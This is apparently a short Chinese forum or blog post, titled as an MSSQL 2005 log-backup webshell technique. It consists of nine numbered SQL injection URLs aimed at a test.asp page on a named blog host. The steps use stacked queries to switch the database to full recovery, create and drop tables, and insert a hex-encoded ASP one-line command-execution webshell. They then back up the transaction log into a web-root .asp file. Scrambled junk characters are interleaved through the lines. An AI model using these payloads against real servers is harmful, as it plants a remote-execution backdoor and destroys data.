Mssql2005 Log备份Webshell

admin

第一步
http://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--

6 I$ z( V: i1 m% d& h第二步：
- T3 o; D  [* Z+ v3 h2 {9 Z4 bhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
" a+ b" A  |$ D4 W. G5 P: x
/ ^, u$ S# z/ }) {. h. h& p第三步
# R& b. ]1 Y! L- yhttp://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--

第四步
. k; F* v' K/ v5 e- n/ H& Y% n5 }/ Jhttp://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--
' x2 F/ f0 J  \1 }
: ^/ m  V# g2 \# F7 M: p9 [+ I# ~1 k第五步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第六步
+ T' @. }: b0 y( Z) D4 ?8 y/ |+ Ihttp://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--

) e9 X7 A9 @8 a" [8 k" `# J第七步
. G2 L. |6 Z4 ]# chttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第八步
7 ~( P6 Z! {' p) ohttp://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
& w4 F8 r2 @6 r% V1 j+ y) N5 L- E( ]
第九步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--